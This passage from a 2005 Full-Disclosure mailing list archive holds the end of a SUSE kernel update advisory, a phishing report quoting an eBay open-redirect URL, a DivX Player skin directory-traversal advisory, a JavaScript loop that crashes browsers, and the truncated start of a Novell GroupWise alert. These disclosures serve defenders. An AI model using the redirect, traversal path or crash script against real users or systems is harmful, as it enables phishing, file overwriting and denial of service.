    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.


    x86 Platform:

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-source-2.6.8-24.11.i586.rpm
      e335f4e401034f79bce9bcef3b6c19e0
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-bigsmp-2.6.8-24.11.i586.rpm
      848b85f02abd3d2877b04f10aa875689
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-smp-2.6.8-24.11.i586.rpm
      f103cd395e9d6e4418cb8cf91c09147d
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-default-2.6.8-24.11.i586.rpm
      374dc207a2b3e81e04cdad2e3d6c0333
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-um-2.6.8-24.11.i586.rpm
      379085daf7dc1e1df0ce5c246c26caf4
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-source-2.6.8-24.11.src.rpm
      bbfdc289c2d1f1a73ac6fa759ecfaf87
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-bigsmp-2.6.8-24.11.nosrc.rpm
      c999bd4ff601c34edc6322fc43caf1a5
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-smp-2.6.8-24.11.nosrc.rpm
      9539d6093144fbbd066681f61c9aa07d
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-default-2.6.8-24.11.nosrc.rpm
      eeeebf4ea4942f6093b56f7a3d7a7de3
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-um-2.6.8-24.11.nosrc.rpm
      93953b908c54f19d4d30816b4eae2dc9

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-source-2.6.5-7.111.30.i586.rpm
      b84574947de5c47a2bcca43525e1fc4d
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-bigsmp-2.6.5-7.111.30.i586.rpm
      5346f03accd80530ef1dd870a069dc11
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-smp-2.6.5-7.111.30.i586.rpm
      dba08e4e49dbf1f32988152956448ab3
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-default-2.6.5-7.111.30.i586.rpm
      231eb3350db6a02b621731790f3b6d37
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-source-2.6.5-7.111.30.src.rpm
      8cd984fa2f4607ff75b0ff79a82090e0
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-bigsmp-2.6.5-7.111.30.nosrc.rpm
      a64279aae3382a1647f594e59ea321fe
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-smp-2.6.5-7.111.30.nosrc.rpm
      653925384a7e887fb59b58a432a86968
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-default-2.6.5-7.111.30.nosrc.rpm
      f01bbb3541bb8197c36757c9ac554ba9

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/kernel-source-2.4.21-273.i586.rpm
      c577564f2588a0f23b2bdf6c53622c88
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_deflt-2.4.21-273.i586.rpm
      e1826b653a6dc121bc09af292469ca60
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_athlon-2.4.21-273.i586.rpm
      4f6f2c3181e9ffa3665b078b56263b5f
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp-2.4.21-273.i586.rpm
      93d0f1ac7d07d8965fd995755ced96d8
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp4G-2.4.21-273.i586.rpm
      dc55afa79f48b332802fcf8c957f4fb1
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_um-2.4.21-273.i586.rpm
      aafbe34c9623ed1558cba1334d9cefb2
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/kernel-source-2.4.21-273.src.rpm
      23d2ec2beb60fe87971679ffcd7aa43b
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_deflt-2.4.21-273.src.rpm
      d4570f75c0706913ab28ab591669a09f
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_athlon-2.4.21-273.src.rpm
      5c9f06dab451c493ea3805c7c25b5e0e
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp-2.4.21-273.src.rpm
      4f9d9932f848a81681d97b2121b95cfc
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp4G-2.4.21-273.src.rpm
      595c9d12751dc3ed7911a0c839aa3798
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_um-2.4.21-273.src.rpm
      3d2030e1fe01309363a62269544d4ecf

    SUSE Linux 8.2:
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/kernel-source-2.4.20.SuSE-129.i586.rpm
      5929f89029262db0f26f7839cae0144c
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_deflt-2.4.20-129.i586.rpm
      1287e9445cf09947056f8330fad24417
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_athlon-2.4.20-129.i586.rpm
      9e69c44a2d13d57388272f1991e2c549
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_smp-2.4.20-129.i586.rpm
      345fdb85a6e39f15cd37cecafc8af4c5
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_psmp-2.4.20-129.i586.rpm
      0964a18c464c9fd905b8c1efa2cd5ba1
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/kernel-source-2.4.20.SuSE-129.src.rpm
      38e1780995f9b8463bb80d8337e9447a
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_deflt-2.4.20-129.src.rpm
      449c13bd8b922c45233df240bb4b02ad
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_athlon-2.4.20-129.src.rpm
      05ab0427675e9aba88460e016dbbd601
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_smp-2.4.20-129.src.rpm
      86c6b0ae5616e0a72396fb19b3fbf172
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_psmp-2.4.20-129.src.rpm
      eb488e7c3169936131ff6bac76862fb4

    SUSE Linux 8.1:
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/kernel-source-2.4.21-273.i586.rpm
      d2c2fae409431dc9380b1e230359ed56
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_deflt-2.4.21-273.i586.rpm
      503e57660b3b5f6c1eadf60a54e90508
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_athlon-2.4.21-273.i586.rpm
      2c5a8cb80db649a50fc64a6a37dd0230
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_smp-2.4.21-273.i586.rpm
      14b2e9a7783986b9293f0561729a5216
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_psmp-2.4.21-273.i586.rpm
      36930ea9a97e420b67137143bc3fbd06
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/kernel-source-2.4.21-273.src.rpm
      70862f0bae01c0003b3cd48c9161c137
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_deflt-2.4.21-273.src.rpm
      ef2e870d10237d85d3be66a12371cfe2
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_athlon-2.4.21-273.src.rpm
      87551521c8e569351d47d9c0e097550b
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_smp-2.4.21-273.src.rpm
      5062c220dd0ebe012e9f2f71137458ea
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_psmp-2.4.21-273.src.rpm
      f6e881395e1d069e2dee910cdb311964



    x86-64 Platform:

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-source-2.6.8-24.11.x86_64.rpm
      d8d5dfd431c9b989195f94d3d3c1ea64
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-smp-2.6.8-24.11.x86_64.rpm
      3a16e2109a1dbf177500430213e45b69
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-default-2.6.8-24.11.x86_64.rpm
      51213878a7116455b9443688d0b39aa0
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-source-2.6.8-24.11.src.rpm
      bbfdc289c2d1f1a73ac6fa759ecfaf87
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-smp-2.6.8-24.11.nosrc.rpm
      9539d6093144fbbd066681f61c9aa07d
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-default-2.6.8-24.11.nosrc.rpm
      eeeebf4ea4942f6093b56f7a3d7a7de3

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-source-2.6.5-7.111.30.x86_64.rpm
      44996d9e1da1df537cb1b2100553d2af
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-smp-2.6.5-7.111.30.x86_64.rpm
      11ad693478569dd691d237679328bd1b
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-default-2.6.5-7.111.30.x86_64.rpm
      deaeb48a6815587535b1adddf68131ef
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-source-2.6.5-7.111.30.src.rpm
      fdef7eaed76e07a85ebbba9323b64f8d
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-smp-2.6.5-7.111.30.nosrc.rpm
      3605a6f50f0d799c73849cb382d786ac
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-default-2.6.5-7.111.30.nosrc.rpm
      d0410d0e5c32cd44bae3da7b42cac23a

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.21-273.x86_64.rpm
      ed6c099957a83fc87abd74e3549e9799
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-273.x86_64.rpm
      18226b51d911e09cd83657c99dd4506f
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-273.x86_64.rpm
      0489274cc30666eeec2be0127a669530
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-273.src.rpm
      792149722a14f021aa095ec4fcc33976
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-273.src.rpm
      9279c9a0613473a71057e76ab4b5a0e5
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-273.src.rpm
      3bbd006852b9b8aab8a2868d922451d5

______________________________________________________________________________

5) pending vulnerabilities in SUSE Distributions and Workarounds:

    Please refer to our SUSE Security Summary report.

______________________________________________________________________________

6) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security at suse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "build at suse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security at suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribe at suse.com>.

    suse-security-announce at suse.com
        -   SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribe at suse.com>.

    For general information or the frequently asked questions (faq)
    send mail to:
        <suse-security-info at suse.com> or
        <suse-security-faq at suse.com> respectively.

    =====================================================================
    SUSE's security contact is <security at suse.com> or <security at suse.de>.
    The <security at suse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team <security at suse.de>
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build at suse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

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
=Fv2n
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQEVAwUBQfEaXHey5gA9JdPZAQE8uAf/UDupbQayrLk1Tu6mm0u1FybBMmHmi1nx
bj69KQRt5PjjYf1mkxHg65Z69oAjNLIjv+cCX8eJWc164ueiVpXgUzjqLouNgCcU
dR266o+ZOlQXlTIv1HDLnU2D2yilOJz/EYk4OeGUh2wZNc+DLW7+rJ49qvPIsWBr
ECZpwaOhIBOGicdS8i64b3AKW7gNV09Yru21/A/wn7QVfAAPMzQxDTn4/f2/ttxF
3E3xKURN1J9rSkGZMoX7BXK/4iLVurow8t8g2w6DMedyYvIuSLDyB3IlehLnhPmL
uL2lSd1PK0rkGuVI6kTZL2lvDjfq4/CHf4MhHWGwDq88L+irqorMSQ==
=xoll
-----END PGP SIGNATURE-----


From stevex11 at sbcglobal.net  Fri Jan 21 16:12:43 2005
From: stevex11 at sbcglobal.net (Steve Kudlak)
Date: Fri, 21 Jan 2005 08:12:43 -0800
Subject: [Full-Disclosure] New phishing trick?
In-Reply-To: <41EBF79F.5010809@utc.edu>
References: <41EBF79F.5010809@utc.edu>
Message-ID: <41F129FB.6010906@sbcglobal.net>

Jeff Kell wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Here's one I don't recall seeing before... very good looking eBay
> phishing notice (can supply full text if anyone wants, but I'll keep
> this to the interesting part) with the "money shot" URL consisting of
> the following link:
>
> | <p align="justify"><font face="Verdana" size="1">Click below to
> | continue :</font></p> <p align="left"><font face="Verdana" size="1"> <a
> |
> title="https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&amp;page=0%..." 
>
> |
> href="http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain&DomainUrl=http://64.28.111.71/update"> 
>
> |
> https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&amp;page=0%...</a></font></tr> 
>
>
> The "displayed" anchor is https:// and directed at eBay (no surprise)
> but the real URL really does go to eBay to a cgi that does a redirect to
> the phishing site, with the target of the redirect appearing at the
> extreme end of the URL (might have been a little better if obfuscated by
> escaped unicoding or similar, but it's plaintext).
>
> eBay may have tweaked the redirecting cgi by now, but when I checked it
> last night it worked (as a general redirect, I didn't examine the
> phishing site target itself).
>
> Jeff
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.0 (MingW32)
>
> iD8DBQFB6/efot2VatFbXMERAhOUAJ4xuKIJh3IiNVKi2kvd036uNgScqQCeKPzj
> V/jt6jY+dd9P5WC1gPbaxLs=
> =gA3c
> -----END PGP SIGNATURE-----
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
Yeah I got this one. Seeing as I have never had a dealing with ebay 
there was no way any
account I had with them was nor about to try to correct anything. I did 
as of late get some
strange phone calls from a number of companies claiming I was in arrears 
on all sorts of things.
Only one valid, something had got mailed late. But I thought phising 
only worked by email
when the person up to the nasty trick could do it and dissappear, but 
that it didn't work by
phone, because I assume one has to have some bona fides with some bank 
or clearing house
to do this..

Have Fun,
Sends Steve




From aluigi at autistici.org  Fri Jan 21 19:02:34 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Fri, 21 Jan 2005 19:02:34 +0000
Subject: [Full-Disclosure] Arbitrary files overwriting through skins in DivX
	Player 2.6
Message-ID: <20050121190234.301ec76b.aluigi@autistici.org>


#######################################################################

                             Luigi Auriemma

Application:  DivX Player
              http://www.divx.com/divx/player/
Versions:     <= 2.6
Platforms:    Windows
Bug:          arbitrary files overwriting through skins
Exploitation: local (or remote through browser)
Date:         21 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


As the name suggests, DivX Player is a Windows player for DivX files.
It is included by default in the DivX codec distribuited by
DivXNetworks.


#######################################################################

======
2) Bug
======


The skins used by DivX Player are zip files containing all the needed 
images and a script file.

When the player loads a skin, it unpacks the zip into a folder with the
same name of the DPS file located in the temporary system directory.

An attacker can overwrite the files on the victim's disk in which is
located the temporary folder (usually c:) using the classical directory
traversal path like:

  ..\..\..\..\windows\notepad.exe

Can be used both slash and backslash.


#######################################################################

===========
3) The Code
===========


  http://aluigi.altervista.org/poc/divxplayerbug.dps

It overwrites/creates the file c:\folder\divxplayerbug.txt

However creating the zip files to exploit the vulnerability is very
easy since you need only to modify the names of the files located in
the central directory of the zip file (the final part).


#######################################################################

======
4) Fix
======


No fix.
No reply from the vendor.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From carlos.ulver at gmail.com  Fri Jan 21 17:47:27 2005
From: carlos.ulver at gmail.com (Carlos Ulver)
Date: Fri, 21 Jan 2005 15:47:27 -0200
Subject: [Full-Disclosure] Netscape Overflow.
In-Reply-To: <10c6adab05012108351617d714@mail.gmail.com>
References: <10c6adab05012108351617d714@mail.gmail.com>
Message-ID: <10c6adab050121094777e11664@mail.gmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello, i saw a flaw in IE that using a Javascript it could be possible
to crash the browser. Berend-Jan Wever discovered this problem, which
consist in the following script:

<HTML>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

I tested on netscape 7.2 (under windows) and the samething happened.
Netscape 7.2 will crash with that script.

Thanks,
Carlos Ulver.
Http://www.debarry2.com.br/carlos
My key: http://debarry2.com.br/carlos/contato.htm
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.2 - not licensed for commercial use: www.pgp.com

iQA/AwUBQfEuiDgovyLCKuNEEQKJWwCdG3joB1hjk5TM21Zi+Sjscarrff0AoP2z
PzLg95wCSBghgOkO0eLXTYJi
=vlob
-----END PGP SIGNATURE-----


From nsb at ceh.ac.uk  Fri Jan 21 20:18:51 2005
From: nsb at ceh.ac.uk (Nicolas Bertrand)
Date: Fri, 21 Jan 2005 20:18:51 +0000
Subject: [Full-Disclosure] [Fwd: NOVL-2005-10096251 GroupWise WebAccess
 error handling modules (report)]
Message-ID: <41F163AB.4090206@ceh.ac.uk>



-------- Original Message --------
Subject: 	NOVL-2005-10096251 GroupWise WebAccess error handling modules 
(report)
Date: 	Fri, 21 Jan 2005 12:37:51 -0700
From: 	Security.Alerts at mailr-k.nerc.ac.uk, Novell at mailr-k.nerc.ac.uk, 
"Inc." <secure at novell.com>
Reply-To: 	EINFO at novell.com
To: 	nsb at ceh.ac.uk



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

For Immediate Disclosure

============================== Summary ==============================

 Security Alert: NOVL-2005-10096251
          Title: GroupWise WebAccess Error modules loading (report)
           Date: 21-January-2005
       Revision: Original
   Product Name: GroupWise 6.5, GroupWise 6.5 WebAccess
 OS/Platform(s): NetWare, Windows, Linux
  Reference URL: http://support.novell.com/servlet/tidfinder/10096251 
    Vendor Name: Novell, Inc. 
     Vendor URL: http://www.novell.com 
Security Alerts: http://support.novell.com/security-alerts 
        Affects: login.htt, about.htt
    Identifiers: BugTraq 387566 - 
                 http://www.securityfocus.com/archive/1/387566 
        Credits: Marc Ruef <maru scip ch>, but thanks, too, to 
                 Pete Connolly <pete connolly btinternet com> for
                      actually notifying Novell's security team

============================ Description ============================

By specifying a query string (?error=<value>, or ?merge=<value>) on 
the WebAccess login URL (for example
